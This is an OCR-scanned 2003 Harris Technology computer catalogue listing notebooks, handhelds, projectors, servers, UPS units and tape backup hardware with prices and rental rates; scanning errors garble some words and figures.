built with the right mix of features 
to help you power through your 
day-to-day computing requiremen 


$2,295 $2,750 


Image for illustration purposes only 


S30/T50 Projectors 



With a sleek compact design and lightweight at 
only 2.2 kilograms, the Toshiba T50 and S30 
data projectors are the ideal companion for 
mobile users who demand quality images 
and portability at a low price. 

Ultra portable • Light and compact at only 
2.2 kilograms making it easy to carry from one 
presentation to the next. 

The power of LCD • A dazzling 1,400 ANSI 
lumens ensures outstanding output from data or 
video and a crisp, clear image even in daytime. 
Ultra quiet 35dB • Quiet operating design 
employing an efficient heat-reducing fan with a 
mechanism that reduces noise • Power save 
mode enables extended lamp life. 

Speedy set up • 'Plug and project' functionality 
ensures that even a novice will have the projector 
up and running in seconds • Automatic keystone 
correction guarantees a perfect picture at up to 
a 15 degree angle • Can be mounted for 
permanent installation. 



ANSI 

WEIGHT 

RESOLUTION 

Rent* 

PARTNUMBER 


"( 08800 )^ 

$3,399 


(G6688) 

$4,998 


HARRIS 


TECHNOLOGY™ 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 
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OSHIBA 


FE-2100 + Tecra S1 With Centrino 


’E-210ff + Tecra SI 

xceptional performance with wireless capability! 

e TE-2100® + Tecra S1 series give you the best of both worlds — power and 
ordability. Built with just the right mix of features to let you power through day- 
y computing tasks with ease. Colourful displays and powerful processors 
jvide plenty of CPU horsepower to even the most demanding applications, 
the integrated multimedia devices never leave functionality behind. 


PECS 1 

1 TE-2100 

TE-2100 


Tecra SI 

1 

Tecra SI 



lOBILE PENTIUM M 

ORdhAQ OCAK4Q 

1.4GHz 

256MB 

1.5GHz 

256MB 

1.6GHz 

256MB+256MB 

lARD DRIVE 

40GB 

40GB 

40GB (5400rpm) 

60GB (5400rpm) 

60GB (5400rpm) 

CREEN 

14.1” TFT 

14.1" TFT 

15” TFT 

15” TFT 

15" TFT 

RAX RESOLUTION 

XGA 

XGA 

XGA 

XGA 

UXGA 

;d-rom/dvd 

DVD 

DVD/CD-RW 

DVD/CD-RW 

DVD/CD-RW 

DVD RAM-R-RW 

/lOEO RAM 

16MB 

16MB 

32MB 

32MB 

32MB 

i6Kv.90& 10/100 LAN 

Yes 

Yes 

Yes 

Yes 

Yes 

VIRELESS LAN 

Antenna 

Antenna 

Antenna 

Antenna 

Intel 802.11b 

WARRANTY 

1 year 

1 year 

1 year 

1 year 

1 year 

)P SYSTEM 

1 Windows® XP Pro 1 

Windows® XP Pro 

Windows® XP Pro 

Windows® XP Pro 

fWindows® XP Proi 

tent* 

$32.70/wk 

$37.11/wk 

$36.42/wk 

$40.59/wk 

$52.78/wk 

>ART NUMBER 

(H2342) 

(H2343) 

(H2344) 

(H2345) 

(H2346) 

•RICE 

$3,295 

$3,739 

$3,850 

$4,290 

$5,720 


SD Media 


Vith up to 128MB of 
;apacity, the small postage 
stamp sized SD card offers 
he easiest way to transfer 
lata between devices. Fully 
jompatible with the Toshiba 
recra® 9000 & SI, Portege® 
tOOO, Satellite Pro® 6100, 
^ocket PC, other models 
:an accept SD memory via 
he PC card adapter. 




Image for illustration purposes only 

32MB SD Memory Card 

(E0598) 

577 

64MB SD Memory Card 

(E0600) 

$119 

128MB SD Memory Card 

(E0601) 

$195 

PC Card SD Adaptor 

(E6780) 

$164 


5GB PC Card 
Hard Drive 

Easily store and share"' 
information in a small and 
ultra portable device that is 
simple to use and easy to 
carry anywhere. 

• 4200rpm 

• Max 20MB/S transfer 
rate to host 

• Max 130MB/S transfer 
rate to disk 

• Average 1 Sms seek time 

. purposes only 

• 256KB buffer size 

• Compatible with any PC equipped with a Type II 
PCMCIA PC Card slot 

• Support for Windows® 95/ 98/ XP/ 2000/ NT 

• 5mm X 54 mm x 85.6 mm 

• Weighs only 55g (J2336) $CalI 




PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

Sales: 1300 13 9999 Web: www.ht.com.au 

Fax: 1300 13 6666 Email: sales@ht.com.au 



Order on-line 
www.ht.com.au 



































TOSHIBA S 


subject to change. Check here for latest prices & products 


Pocket PC^s, Portege & Tecra 


Not all items are 
in stock at all 
stores but can be 
ordered for Pick¬ 
up orOeliveryt 


ALL TOSHIBA 
NOTEBOOKS 
AND 

ACCESSORIES 
SOLD FROM 

HARRIS 

TECHNOLOGY- 


Pocket PC 6330 


Toshiba 
I USB Cradle 
(F0605) 

$59 

Toshiba 
I USB Cable 
(F0606) 

$20 

I Toshiba AC 
Adaptor 
(10312) 

$30 


FURTHER 

DISCOUNTS 

AVAILABLE 


• Intel Strongarm Xscale 300MHz processor 

• Microsoft® PocketPC 2002 operating system 

• 64MB of RAM & 32MB ROM 

• Ultra light weight at only 147 grams 

• Ultra slim size: HI25mm x W79mm x 
D12.4mm 

• Extra bright 3.5” TFT screen 

• Long 10 hour battery life 

• 72 hour data back up, when main battery is flat 

• Built-in speakers & stereo headphone socket 


• SD card slot for additional 
memory or Bluetooth SD 
card 

• Infra-red port 

• Internal jog/scroll dial for 
easy document & web 
navigation 

• Microphone & record button 


Rent* $8.91/wk (G2443) $795 


Pocket PC e7A0 


• Intel PXA250 400MHz Xscale 

• Microsoft® PocketPC 2002 Operating System 

• 64MB of SDRAM, 32MB of Flash ROM 

• Secure Digital and CFII card slot 


With Integrated Bluetooth 
With WiFi 


Rent* $14.56/wk 
Rent* $15.12/wk 


• lOOOmAH rechargeable lithium ion 
battery 

• D125mm x W80mm x H16mm 

• Weight: Bluetooth 181g, Wi-Fi 185g 

(F4046) $1,299 
(F4047) $1,349 






1 Portege 

1 R100 1 

3500- Tablet | 

4010 

PROCESSOR 


Pill 1.3GHz 

PIII933MHZ-M 

MOBILE PENTIUM M 

900MHz ^ 



RAM STD 

256MB 

256MB 

256MB 

HARD DRIVE 

40GB 

40GB 

30GB 

[S^EEN 

□ 12.1” XGA 

12.1” XGA 

12.1” XGA 

56K V.90 & 10/100 LAN Yes 

Yes 

Yes 

1 WIRELESS LAN 

71 [ Intel 802.11b 1 

mini PCI 

mini PCI 

WEIGHT 

1 .2kg 

1 .8kg 

1.9kg 

fOP SYSTEM 

□ IWindows®XP Prol [ Windows® XP ProJ 

Windows® XP Pro 

Rent* 

$41.58/wk 

$40.59/wk 

$39.54/wk 

PART NUMBER 

(H2337) 

(G4204) 

(G9906) 


$4,39$ $4,290 $4,180 


Tecnt NEW Ml Series 


The most mobility & power without compromise! 

The Tecra® series is equiped for consistent mobile performance — providing 
you with the ultimate combination of traditional Tecra® investment 
benefits, high processor performance and a new sleek look and feel that 
you will notice. Each Tecra® comes with a DVD drive as standard. 

For more details call our Sales Team on 1300 13 9999 or visit 
www.ht.com.au/cat/toshiba 



HARRIS 
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PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 
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\ handheld and a cam era! 

PALM" ZIRE" 71 Handheld 




0 

B Left 

0 

e 








Rent* $6.66/wk {J1936) 


Smpl^ch 



A handheld to organise your life... 

...and a camera to capture it! 

Your adventures in one place... 

The media-rich Palm™2ire™71 handheld lets you capture pictures on the 
fly, listen to MP3s*, watch video clips and more - all with the ease of use 
you expect from Palm™. 'Requires expansion card, sold separately. 


• Built-in 640x480 digital camera with automatic 
exposure & white balance 

• Listen to MP3s*, watch videos 

• Outstanding 320x320 colour screen 

• Breakthrough design 

• Ultra-fast ARM processor 

• 5-way navigator for one-handed access 
•16MB RAM 

• MMC & SD expansion 

• Easy to organise your life S 

•Palm OS 5.2.1 ,^.11“ 


Just ran into an old friend 
and want a picture? 

Need quick pictures of a 
design idea? Simply slide the 
Zire™ 71 handheld open to 
expose the lens and its screen 
becomes the camera's 
viewfinder. Then point, shoot, 
click and share with friends 
and family. It’s that easyl 


( Prices are subject to change. Check here for latest prices 


www.ht.com.au/cat/simpletech 


VIemory Solutions & Technology 


Secure Digital 



)n't just save your 
ita, secure it with 
mpleTech Secure 
gital cards. Features 
write protect switch 
1 the side of the card, 
so features 
yptographic security 
r copyrighted data based on Secure 
gital Music Initiative portable device 
iquirements. Is designed for unlimited 
3 mpatibility with digitai cameras, music 
ayers, and other devices that use 
ecure Digitai (and MultiMedia Card). 
Lifetime warranty, Secure Digital 
ard Range. 



5GB PCAACIA Hard Drive 

When you need 
gigabytes of 
portable storage, 
you need the 
SimpleTech 5GB 
Type II PC Card Hard 
Drive. This rugged 
PC Card hard drive 
plugs into any 

notebook with a Type II PC Card slot and 
provides enough storage for backing up your 
files or an entire system. Now you can safely 
carry all your important data in your pocket. 

Features: 

• Extra durable design: up to 1000G 
non-operating shock resistance. 

• Hot swappable for quick and easy 
access. 

• Up to 120MB per second transfer rate. 

• Protective carrying case included. 


VEO SD Camera 


Plug the Photo Traveler into 
your Palm's expansion card 
slot and you're ready to take 
snapshots with your handheld! 

Simple plug-and-play operation 
automatically loads the 
software on your Palm™ OS 
the first time you plug in the 
camera. Full colour preview lets you frame 
the photo and instantly see the result. 

• 640x480 digital resolution. 

• Takes 24-bit full colour photos. 

• Transferred images are standard 
JPEG pictures. 

• Automatic exposure, white balance I 
and colour control. 

• Palm™ OS plug-and-play capability. 

• Swivel lens with adjustable focus. 

• Full featured software for managing 
images and transferring to the PC. 


(J1706) $549 


(10116) $199 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.au 



Would you like 
Fly Buys with that?! 
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desktop solutions 


fPiices are subject to change. Check here for latest prices & produ^ 


^Compaq^^Evo^^320^^iicro^Jbwe^^eskto^ 



• Intel® 845GE Chipset 

• Compact Micro Tower Chassis 

• 256MB 266MHz DDR {PC2100) RAM 

• Integrated Intel Extreme Graphics with 
266MHz Core 

•40GB HDD 

•48x MAX CD-ROM Drive 

• 1.44MB FDD 


Integrated 16bit AC97 Stereo with Internal Speaker 
Integrated Intel PRO/100 Network Controller 
6 X USB 2.0 ports (2 Front, 4 Rear) 

2 X PS/2, 1 X Serial, 1 x Parallel Ports 
Easy Access Keyboard 
Compaq 2 Button Scroll Mouse 
Microsoft® Windows® XP Professional 


I 




Rent* $10.07/wk (H8898) 


$899 


Rent* $15.68/wk (J3040) 


$1,399 


Compaq Evo D320 Slim tower with 1 1 " CRT + Office XP SBE 


• Intel® Pentium®4 Processor 2.4GHz 

• Intel® 845GE Chipset 

• Compact Slim Tower Chassis 

• 256MB 266MHz DDR (PC2100) RAM 

• Integrated Intel Extreme Graphics with 266MHz Core 
■40GB HDD 

■ 48x12x/48x CD-RW Drive 

• 1.44MB FDD 

• Integrated 16bit AC97 Stereo with internal Speaker 

• Integrated Intel PRO/100 Network Controller 

• 6 X USB 2.0 ports (2 Front, 4 Rear) Rg^t* $23.52/wk (H3090) $2^099 


• 2 X PS/2,1 X Serial, 1 x Parallel 
Ports 

• Easy Access Keyboard 

• Compaq 2 Button Scroll Mous 

• Microsoft* Windows® XP 
Professional 

• 17” S7500 CRT Display 

• Microsoft® Office® XP SBE 




For growing businesses running sophisticated small applications and branch offices of larger organisations that need a 
platform for single-function solutions. Choosing a ProLiant server is making an investment in your company’s future. 


Intel® Pentium 4 2.53GHz or 2.8GHz processor 1-P 
256MB standard with up to 4GB DDR RAM 
maximum memory capacity 
Standard 40GB ATA HDD or 36GB SCSI HDD with 2 
Hard drive bays mL310 P4 2.53GHz 40GB ATA 
ML310 P4 2.53GHz 36GB SCSI 
ML310 P4 2.8GHz 40GB ATA 
ML310 P4 2.8GHz 36GB SCSI 


Single-channel Ultra3 SCSI or dual channel 
ATA100 with integrated ATA RAID 10/100/1000 
1 year parts, labour and on-site support 


Rent* $22.77/wk 
Rent* $26.74/wk 
Rent* $25.75/wk 
Rent* $28.73/wk 


(H2516) $2,295 
(H2517) $2,695 
(H2518) $2,595 
(H2519) $2,895 


HARRIS 
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, PRICING A ND SPEC IFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 
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RENT 



Notebooks and Handheld 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS.^ 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.au 


Delivery 
Australia-Wide 


fPrices are subject to change. Check here for latest prices & products!? 


• Transmeta Crusoe TM5800 1GHz processor 

• 10.4" Colour TFT XGA Display 

• 30GB HDD, optional diskette or optical drive available for purchase 
with External USB cradle or docking solution options 

• Integrated 56K/V.90 modem, 10/100 ethernet and 802.11b WLAN 

• 256MB 133MHz SDRAM Expandable to 768MB 

• 6-cell Li-Ion Battery for over 5 hours battery life 

• Removeable Keyboard 

• Microsoft® XP Professional Tablet PC Edition 


hp iPAQ HI915 Pocket PC 


• 200MHz Xscale processor 

• Small size 113.3mm x 69.8mm x 12.8mm 

• Lightweight - only 120gms 

• 64MB RAM 

• Microsoft® Pocket PC 2002 

• Transreflective colour display with LED backlight 
for easy viewing indoors or out 

• Removeable/rechargeable battery 

• Security Digital / Multimedia card slot 


Rent* $7.79/wk (J2359) 


$699 


I Not all Items are I 
in stock at all I 
stores but can be | 
ordered for Pick¬ 
up or Delivery! 


Compaq 


Replicator 


$29 


Compa 
Slimlin 
Notebook i 


(C3192 

$7C 


^^Compaq^Jable^^PC^J^CWO^ 


Rent* $37.66/wk (G5985) 


$3,795 


Compaq Evo N800v Notebook 


• Mobile Pentium® 4-M 2.0GHz with SpeedStep technoiogy 

• 15.0" colour TFT SXGA+display 

• 256MB DDR SDRAM (266Mhz) 

• 40GB HDD 

• Optional 3.5” 1.44MB FDD 

• DVD/CD-RW drive 

• Integrated Mini PCi V.92/56K modem and ethernet 

• Microsoft® Windows® XP Professional 

• 1 year courier pick-up warranty 


Rent* $34.68/wk (H2610) 


$3,495 




































Ipex 


fPrices are subject to change. Check here for latest prices & product 


INFORMATION TECHNOLOGY GROUP 


Reliability, stability & room to grow 


Not all Items are 
In stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery> 


• Max Res: 
1024x768 
@ 75Hz, 
1280 X 1024 
@60Hz 



The Ipex T400, powered by Intel® Pentium® 4 processor technology, is ideal for the small business usen 
looking for a system with the performance and expansion capabilities to grow and adapt with your needi 



• Ipex T400XLAItair2.53 


• Intel® Pentium® 4 processor 2.53GHz 
•256MB DDR RAM 

• 60GB HDD @7200RPM 

• CD-RW 

• GeForce4 MX440 64MB with TV out 

• Sound Onboard 

• External Speakers 

• 10/100 LAN Onboard 


• USB 2.0 Onboard 

• Internal 56K Modem 

• Ipex Wireless Mouse & Keyboard 

• 1 Year RTB Warranty 

• Microsoft® Windows® XP Home 

• OEM MS Works 7.0 

• OEM Symantec NAV 

• OEM Nero Burning ROM 


With 17” CRT Monitor 


Rent* $22.40/wk (J0466) 


$1,999 


With 15” TFT Monitor 


Rent* $22.81/wk (J0467) 


$2,299 



Ipex T400XLAItair2.66 


• Intel® Pentium® 4 processor 2.66GHz 

• 512MB DDR RAM 

• 80GB HDD @7200RPM 

• DVD/CD-RW Combo 

• GeForce4 MX440 64MB with TV out 

• Sound Onboard 

• External Speakers 

• 10/100 LAN Onboard 


• USB 2.0 Onboard 

• Internal 56K Modem 

• Ipex Wireless Mouse & Keyboard 

• 1 Year RTB Warranty 

• Microsoft® Windows® XP Home 

• OEM MS Works 7.0 

• OEM Symantec NAV 

• OEM Nero Burning ROM 


With 17” TFT Monitor 


Rent* $28.77/wk (J0470) 


$2,899 


With 15” TFT Monitor 


Rent* $25.79/wk (J0469) 


$2,599 




• intel® Pentium® 4 processor 2.4GHz • Ipex Mouse & keyboard 

• 256MB DDR RAM • 3.5" 1.44MB Floppy drive 

• 40GB HDD @ 7200RPM • 3 Years RTB Warranty 

• CD-ROM • Microsoft® Windows® XP Professional 

• Integrated Intel Extreme Graphics Onboard • OEM Symantec NAV 

• Sound Onboard 

• 10/100 LAN Onboard With 15” TFT Black Monitor 


• USB 2.0 Onboard 


Rent* $22.40/wk (J0475) 


$1,999 


• Ipex CentraNASESiR-NAS (Network Attached Storage) Appliance 


"Slim OS and 512MB Memory 

• Rack mount case with LCD Panei for 
setup & Status 

• Web-Based Management Console 

• System Monitoring and Alerts 

• Dual 10/100 Ethernet Ports 

• Multi-Protocol Support 

• RAID 5 +Global Hot Spare 

• Hot Swap Drives and cooling fans 

• Data Synchronization for replication and 
distribution (eg. One-to-Many) 

• Upgrade PCI slot for extra NIC 
Optional; 

• Redundant, hot swap, power supply 

• CD-RW, DVD-RW integration 

• IDE Tape integration (specific model) 

• Tower version 


(7200RPM) 
RAW CAPACITY 

CAPACITY - 

Raid 5 + Hot 
Spare Drive 


RENT 

PRODUCTCODE 


CentraNAS 

320* 

CentraNAS 

640* 

CentraNAS 

960* 

CentraNAS 

1440* 

8 X 40GB 

8 X 80GB 

8 x 120GB 

8 X 180GB 

320GB 

640GB 

960GB 

1.4TB 

240GB 

480GB 

720GB 

1TB 

Rent* 

$43.51/wk 

Rent* 

$51.63/wk 

Rent* 

$59.63/wk 

Rent* 

$77.77/wk 

(J2711) 

(J2712) 

(J2713) 

(J2714) 

$4,599 

$S,595 

$6,699 

$9,275 


Ipex recommends Microsoft® Windows® XP. All Images are for illustration purposes only 
he Intel Inside logo and Pentium are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries. 
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Essential Acce 


Essential Accessories for Mobile Computing 


fPrices are subject to change. Check here for latest prices & products!!) 


Get Mobile... Get Targus 


PRESENTER BUNDLE New Top Loading Notebook 

WITH FREE USB HUB Cases 


For your PC, Notebook or Projector 



DefCon 
Video Port 
Combination 
Lock 


FREE*;^ ^ 

HTP03 (J2026) 3 T -P® 
Offer Valid until June 30th 2003 or while stocks last 


• Easy to get in and out of the notebook 
section 

• Patented SafePORT Air Protection 
System 

• Lightweight design 


TTL300 TTL400 
(J2023) (J2024) 

$129 $159 



Deluxe model Includes an 
expanding file section 


Targus has a wide range of notebook cases to suite your larger sized notebook 


Lappac 5 In Luxurious Koskin 

CK55 (I0353) $75 
Blacktop Platinum Standard 

CPT300 (H9607) $75 
Blacktop Platinum Deluxe 

CPT400 (H9608) $92 

Sportline Backpack Deluxe 

TSB315 (F0754) $119 



Universal Wireless Keyboard 



• This one keyboard works with the 
world’s most popular PDAs, Palm and 


PDA / mobile phones and smart phones 
Discover true flexibility 


> i $149 


Folding workspace for your notebook or 
keyboard 

• Thin Lightweight design only 
1.6cm thick & 624g 

• Rigid & sturdy 
workspace 
(28 X 50.8cm) 

• Keeps the heat off your lap! 


Wireless Optical Notebook Mouse Auto Air Adapt 


> Compact Design for ease of travel 
• On/Off switch with sleep 
mode and touch sensor 


PAWM10U (J2025) $69 


• Small USB receiver with 90 
degree swivel adapts to limited 
workspace 

• FREE carry pouch 


• Plug virtually any notebook into ^ ^ « 4 
airline seats or Into vehicles with ^ m m m m 
standard cigarette lighter for T f T T 
power or re-charging. 


PA360 - most IBM, 
Toshiba & Compaq 
PA380 - most Dell, HP, 
Sony, Fujitsu 
& Panasonic 



PA360U (F0747) $216 
PA380U (F0748) $216 


Not all items are 
in stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery! 

HARRIS 

TECHNOLOGY. 




Universal 
Organiser Sport i 
PDAT05 
(H9611) 

$16 


Charger Sync 
Cable for 
Toshiba PA255U | 
(H9138) 

$44 

|AIso available for:h 
HP Jordana 
PA285U (F9292) I 

$35 

iPAQ 36xx 

PA290U (E0378) | 

$35 

IPAQ 38xx 

CQ295U (F9333) | 

$34 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. ■ HARRIS Torhr^olrrnu rontrol 

Sales: 1300 13 9999 Web: vvww.ht.com.au I ^ ^ ^ ^ I 

Fax: 1300 13 6666 Email: SaleS@ht.COm.au 1 at Kmart Broadway-Sydney 




































SONY. 


C Prices are subject to change. Check here for latest prices & prodii^ 

BM 


The latest Digital Camera range from Sony 





All cameras supplied with battery, charger, software, USB cable and memory stick. 


^StorStation - ait internal or External Tape Backup Kits 


During 01/05/03 to 30/06/03 AIT 3 kits include 10 x AIT3 
100-260GB tapes bundled FREE OF CHARGE! 


SDX420B 

35-90GB AIT 1 IDE Internal Backup kit 

Rent* $17.58/wk 

(F9899) 

$1,569 

SDX520B 

50-130GB AIT 2 IDE Internal Backup kit 

Rent* $29.72/wk 

(I0026) 

$2,995 

SDX400B 

35-90GBAIT 1 SCSI Internal Backup kit 

Rent* $23.77/wk 

(C7480) 

$2,395 

SDXD400B 

35-90GBAIT1 SCSI External Backup kit 

Rent* $26.59/wk 

(C7478) 

$2,680 

SDX500B 

50-130GB AIT2 SCSI Internal Backup kit 

Rent* $34.68/wk 

(E1026) 

$3,495 

SDXD500B 

50-130GB AIT2 SCSI External Backup kit 

Rent* $37.79/wk 

(El 027) 

$3,995 

SDX700BKIT 

100-260GB AIT3 SCSI Internal Backup kit 

Rent* $64.33/wk 

(El 029) 

$7,228 

SDXD700BKIT 

100-260GB AIT3 SCSI External Backup kit 

Rent* $72.44/wk 

(G2855) 

$8,139 



All Storstatlon drives supplied with a 3-Year Advanced Exchange Warranty. 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 
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BONY. 


^AIO & Clie; power & styje for the mobile professional 


PCGFR700 



■ • AMD Athlon 1800+ 

• Pentium 4 2.40GHz 

■ • 14.1" XGA Display 

' 15" SXGA Display 

M • DVD/CD-RW Drive 

• DVD/CD-RW Drive 

■ • 256MB RAM 

- 256MB RAM f ■ONW 

1 • 30GB HDD 

•60GB HDD 


• 32MB Video Memory 


Rent* $25.79/wk 

(H0643) $2,599 






































Lengendary Reliability'^ 


f Prices are subject to change. Check here for latest prices & product s! 
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Power Back Up s Power Protection 


Not all items am 
in stock at all 
stores but can be 
ordered for Pick¬ 
up orDelivetyt 


PNotePro 

(99592) 


APC 
Symmetra 
Power Array 
8 kVA, exp. to 
16kVA 
(71087) 
Rent*$113.44wk 

$ 13,995 


I So good we 
1 use it 
I ourselves! 


Back-UPS ES 350/500 


Back-UPS Pro® for Workstations 


Affordable battery backup 

The new APC Back-UPS ES 350/500 is 
an affordable battery backup to provide 
continued uptime and hardware 
protection for home and home office. 
Three battery and surge, two surge 
only outlets, phone, modem, fax and 
DSL data line surge protection, 
computer interface port for USB 
communications and ships with file 
saving and auto-shutdown software. 

2 year warranty. 



APC Back-UPS Pro 1000VA 

Rent* $8.01/wk _ (41355) $7151 


APC Back-UPS Pro 1400VA 

Rent* $12.31/wk (A4490) $1 


Smart-UPS with USB Support I Smart-UPS Rackmount 


Smart-UPS 1000VA, 1500VA 


Smart-UPS protects your data by supplying 
network-grade battery backup when power 
fails. PowerChute'® Plus software will safely 
store data and shut down your network 
operating system before the battery is fully 
discharged. APC Smart-UPS is the perfect UPS 
for fileservers, minicomputers, Internet hubs, 
telecom systems and other mission-critical 
applications. 


Smart-UPS 750VA, 1000VA 

APC’s slim iine rack-mount Smart-UPS deliver 
premium uninterruptible power and the most 


14 

HARRIS 




advanced performance features available. With 
PowerChute® plus software the uninterruptible 
power supply (UPS) will safely store data and 
shut down your network operating system 
before the battery is fully discharged, whether 
you’re there or not. SmartSlot internal accessory 
install optional accessi 


APC Smart-UPS 1000VA 

Rent* $11.04/wk (D9337) 


APC Smart-UPS 1500VA 

Rent* $14.85/wk (D4218) $ 1,325 


APC Smart-UPS 750VA 

Rent* $12.16/wk_ (H0659) $1y08S 


APC Smart-UPS 10OOVA 

Rent* $15.80/wk (H0660) 5 1^410 


PRICING AND SPEC I FICATIONS MAY CHA N GE. PLEASE REFER TO PAGE 2 FOR DETAILS. 
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TECHNOLOGY, 


^Conditions Apply. 


BECAUSE BUYING ISN’T 


RENT 


www.ht.com.au/cat/rentsmart 


RENT 


Order 


on-line 


r-KIOINVl 

Sales 


13 


1300 


s@ht 


Fax 


1300 


13 


6666 


Email 


sal 


lleep your cash flowing 


Vof technolog 

iRiiit 

Kjnstead 


("Prices are subject to change. Check here for latest prices & products!!) 


Not all Items are 
in stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery. 

HARRIS 


RENT OVER 
$ 2,000 & 
RECEIVE A 


FREE 


RENTSMART 


r Extend to a 
total of 3 Years 
Return to Base 
r Extend to a 
total of 5 Years 
Return to Base 
r Upgrade 
Return to Base 
of Warranty 
Extension to 
On-SIte 


X75 LEXMARK 
MULTI FUNCTION 
CENTRE FROM 


Terms And Conditions: Offer Is available to approved cus¬ 
tomers who RentSmart computer equipment at any Harris Technology 
store. Rent over $2,000 and receive a FREE X75 Lexmark MFC from 
RentSmart. Offer is available from 20 May 2003 to 30 lune 2003. 
RentSmart is a rental facility operated by RentSmart Pty Ltd. ACN 073 
225 457. Not to be used in conjunction with any other RentSmart offer. 


















Cverland 


S T O R A G E “ 


fPrices are subject to change. Check here for latest prices & produ^ 


Next Generation Backup Solutions 


Not all Items are 
In stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery. 


0 LoaderXpress 


110/320 GB 

(69825) 

$233 

LTOUItrium 
100/200 GB 
Tape 

(D1500) 

$144 

1 SuperDLT 
Cleaning 
Tape 

(E4874) 

$199 


• DLT1, DLT8000, SuperDLT - up to 1.1TB, 10 
Cartridges 

• LTD Ultrium - up to 1.1TB, 11 Cartridges. 


DLTTape 
Media IlIXT 
15/30GB 
Tape 

(68362) 

$79 

DLTTape IV 
Media 20/ 
80GB 

(71231) 

$125 

DLT 

Cieaning 

Tapes 

(97851) 


The LoaderXpress is a family of autoloaders which combine 
the latest drive technology with field-proven and award 
winning robotics first introduced by Overland. This line is an 
excellent entry point for users who require tape automation 
on a modest budget. LoaderXpress products support the 
LATEST in tape technology. 


LXL1B10T Single DLT1 Tape Drive 

Rent* $79.59/wk (A0476) $9r492 

•LXLS810ST Single DLT8000 Drive 

Rent* $83.66/wk (F3150) $9r978 

LXL1S10T Single SuperDLT 220 BRC Drive 

Rent* $168.13/wk (B6370) $20,898 

LXL1U11T Single LTO Ultrium Drive 

Rent* $163.80/wk (E6376) $20,360 


Super DLT 


©AIT 

PowerLoader 


I 


• AIT-2, AIT-3 drives - 950GB, 
1900GB, 19 Cartridges plus mail 
slot 

• 1 or 2 drives - field- 
upgradeable, bar code reader 
standard. 



LP2L119TB Single AIT-2 Tape Drive 

Rent* $121.91/wk (F3177) $15,039 

LP3L119TB Single AIT-3 Tape Drive 

Rent* $157.44/wk (F3179) $19,569 


0 PowerLoader 


• DLT1, DLT8000, SuperDLT-up to 1.7TB, 15 or 17 Cartridg( 

• 1-2 drives, field-upgradeable, barcode reader standarc 


Overland PowerLoaders offer a step up in capacity ar 
performance at a minimai cost for users who may currently us 
a standalone tape drive or small autoloader and now need mo 
performance. Overland offers a series of autoloaders that c< 
be field upgraded to two drives. The PowerLoader offers tt 
most popular drive technologies ensuring that existing tape mec 
archives can be read. 


LXM1L117TB Single LTO Tape Drive 17 tape capacity 
Rent* $172.17/wk (H0638) $21,400 

LXM8115TB Single DLT8000 Tape Drive 15 tape capacity 
Rent* $111.58/wk (F3171) $13,765 

LXM1 S11 STB Single SuperDLT220 BRC Drive 15 tape capacity 
Rent* $167.42/wk (F3175) $20,810 

LXM2S11 STB Single SuperDLT320 BRC Drive 151ape capacity 
Rent* $181.17/wk (H9768) $22,519 


0 Neo Series 2000 


I Up to 96TB 
native 


• DLT8000, SuperDLT, LTO Ultrium - up to 6TB 

• 1 or 2 drives - fieldupgradeable 

• 26 (DLT8000, SDLT) or 30 (LTO) cartridges. 


The Neo series is the newest library family from Overland and 
provides unprecedented levels of availability through Non-Sto 
Operation, investment protection through SmartScaleArchitecturf 
and flexible connectivity to direct attach or SAN environment 
through Virtual Interface Architecture. 



HARRIS 


TECHNOLOGY. 


LXN2130R2U L Single LTO-2 Tape Drive 
Rent* $Call/wk (H9769) $32,100 

LXN2126T1SL Single SDLT220Tape Drive 
Rent* $231.90/wk (F3182) $28,799 

LXN2126T2SL Single SDLT320 Tape Drive 
Rent* $Call/wk (F4315) $30,695 

LXN2130T1UL Single LTO-1 Ultrium Tape Drive 
Rent* $233.11/wk (F3185) $28,975 










































fPrices are subject to change. Check here for latest prices & products!!) 


Best Storage Solutions 


The LaCie d2 range is a professional flexible system. Made of extruded aluminium and Zamac alloy, which are 
the same materials used in Formula 1 cars design for their unique features: robustness, lightweight and fast 
cooling. BD packages include a Kensington cable lock and power lock for excellent security. The drive 
switches on and off with your computer and features a front power button and blue activity LED. Supplied with 
drivers for PC. Drives can be used stacked horizontally or can be mounted in a 1U 19" rack (kit sold separately). 

(G1817) $459 

(G1281) $549 

Rent* $8.84/wk (G4245) $789 


80GB 7200rpm USB 2.0 

120GB 7200rpm USB 2.0 

200GB 7200rpm USB 2.0 



80GB 7200rpm FireWire (G1744) $459 

120GB 7200rpm FireWire (F7923) $535 

200GB 7200rpm FireWire Rent* $8.84/wk {G3138) $789 

200GB BD7200rpm USB 2.0 & FireWire & F800* Rent* $10.92/wk (J0708) $975 

,ack mountable 400GB BD7200rpm USB 2.0 & FireWire & F800* Rent* $18.42/wk (J0709)$1 f $44 

500GB BD 7200rpm USB 2.0 & FireWire & F800* Rent* $22.41/wk (J0710)$2f 258 
*f^800 is a new FireWire interface doubling transfer rate (up to lOOMB/s) of current FireWire 
interface. Requires specific F800 card to take advantage of the performance. 



Not all items ate 
in stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery. 

■ 


Data B 
20GB 
USB& 
FireWire 
& design by I 
F.A. Porsche. I 

Rent* $7.68 /w|4 
(H2008) 

$6861 


LaCie CD-R 52x is one of the fastest CD-Recorder on the 

— market, burning a full 700MB CD in less 

K than 2 minutes. It comes 
complete in the now 
famous d2 casing, with 
- all software for PC, 

cables and one CD-R 
media. Quiet and 
